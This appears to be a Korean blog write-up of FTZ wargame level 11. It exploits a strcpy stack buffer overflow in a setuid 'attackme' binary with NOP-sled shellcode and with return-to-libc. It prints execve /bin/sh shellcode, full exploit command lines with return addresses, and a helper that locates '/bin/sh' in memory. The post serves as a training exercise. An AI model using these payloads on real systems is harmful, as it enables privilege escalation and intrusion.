FTZ level 11
- Question
· level11 ID로 Login해서 level12의 password를 찾기
- Solve
· 'level8' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
· Source Code 분석
◦ Stack Memory 영역에 str 변수를 256Byte 만큼 확보한다.
◦ 'strcpy'가 사용되었으며 이를 이용해 BOF 공격을 해야 한다.
· File을 분석하기 위해서는 gdb를 사용해야하는데 원본 File이 level12에 대해서만 쓰기(w)가 가능하므로 쓰기 권한이 주어진 tmp Directory에 복사 후 분석해야한다.
· gdb를 통해 main 함수에 Break Point를 설정해 분석해보면 Epilogue 부분에 'sub $0x108,%esp'와 'sub $0x8,%esp'에서 stack을 0x108(256Byte)와 0x8(8Byte)을 확보한다.
· attackme Process가 사용하는 Stack Memory(Payload) 구조
◦ attackme Process는 위와 같이 Stack Memory 영역을 사용한다.
◦ 공격을 하기 위해서는 RET(Return Address)를 이용해 Shell Code를 실행(RET)시키거나 bash Shell의 주소를 돌려(RTL)주거나 Eggshell을 이용해야한다.
◦ 필자는 Shell Code를 실행시키는 방법과 RTL을 이용하는 방법을 두 가지를 이용하겠다.
· RET 공격
◦ RET 공격을 하기위해 Shell Code를 Web을 통해 구한다.
◦ Shell code
1 | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 | cs |
▹ 총 25Byte
◦ Process의 Payload 값을 gdb를 통해 구한다.
◦ 공격 시 넣게 될 공격 Code(Exploit) 구조
▹ Stack 영역에 Shell Code를 추가해 Return Address를 해당 Process의 Main 시작 부분으로 설정해 Shell Code를 실행할 것이다.
▹ 총 공격 Code 크기는 256 + 8 + 4 + 4로 272Byte이다.
▹ 이 중에서 25Byte는 Shell Code를, 4Byte는 Return Address를 넣어줄 것이기 때문에 NOP를 채워줄 부분은 272 - 25 - 4로 243Byte가 된다.
◦ python을 이용해 NOP(0x90)이 들어갈 곳에 A를, Shell Code가 들어갈 곳에 B를, RET(Return Address)가 들어갈 곳에 C를 채워 넣는다.
◦ 명령어를 이용해 현재 지점부터 Stack 영역에 들어간 값을 확인해본다.
◦ 정상적으로 잘 넣어진 것을 확인해 볼 수 있으며 해당 Stack 영역이 0xbffffa2c 영역 근처에서 시작한 것을 볼 수 있다.
◦ Linux System에서는 File이 항상 같은 Memory 영역에 실행되지 않으므로 여기서 구했던 주소(0xbffffa2c)의 근사 값을 RET에 넣어주면 된다.
◦ Python을 이용해 실행하면 정상적으로 Shell Code가 실행되어 Level12의 sh가 실행된 것을 볼 수 있다.
◦ 사용된 명령어
1 | ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x4c\xfa\xff\xbf"'` | cs |
· RTL 공격
◦ RTL 공격은 System 명령의 주소를 알아내어 해당 주소를 RET(Return Address)로 바꿔 실행하는 방법이다.
◦ System 명령을 실행하기 위해서는 system 명령어가 필요하기 때문에 처음에는 system 명령어를 실행시켜주고 현재 실행중인 attackme의 Process를 종료하기 위해 exit 명령어를 실행시킨 후 sh Shell의 주소를 넣어 sh를 실행시킨다.
◦ 공격 Code(Exploit)의 구조
◦ gdb를 이용해 attackme 내에서 사용되는 system 명령어와 exit 명령어의 주소 값을 구한다.
◦ /bin/sh의 주소를 구하는 File을 Coding해 만든다.
◦ find_binsh Code
1 2 3 4 5 6 7 8 9 10 | #include <stdio.h> int main() { long shell=0x42127ea4; while(memcmp((void*)shell,"/bin/sh",8)) { shell++; } printf("0x%x\n",shell); } | cs |
◦ 얻어낸 주소 값과 Python을 이용해 실행하면 정상적으로 level12의 sh가 실행된 것을 볼 수 있다.
◦ 사용된 명령어
1 | ./attackme `python -c 'print "a"*268+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x42"+"\xa4\x7e\x12\x42"'` | cs |
· Password 찾기
◦ sh Shell을 실행 후 my-pass 명령어를 이용해 level12의 Password를 구한다.
- Answer
· Password : it is like this
'System Security > FTZ' 카테고리의 다른 글
FTZ level 13 (0) | 2015.08.18 |
---|---|
FTZ level12 (0) | 2015.08.18 |
FTZ level10 (0) | 2015.08.18 |
FTZ level9 (0) | 2015.08.18 |
FTZ level8 (0) | 2015.08.18 |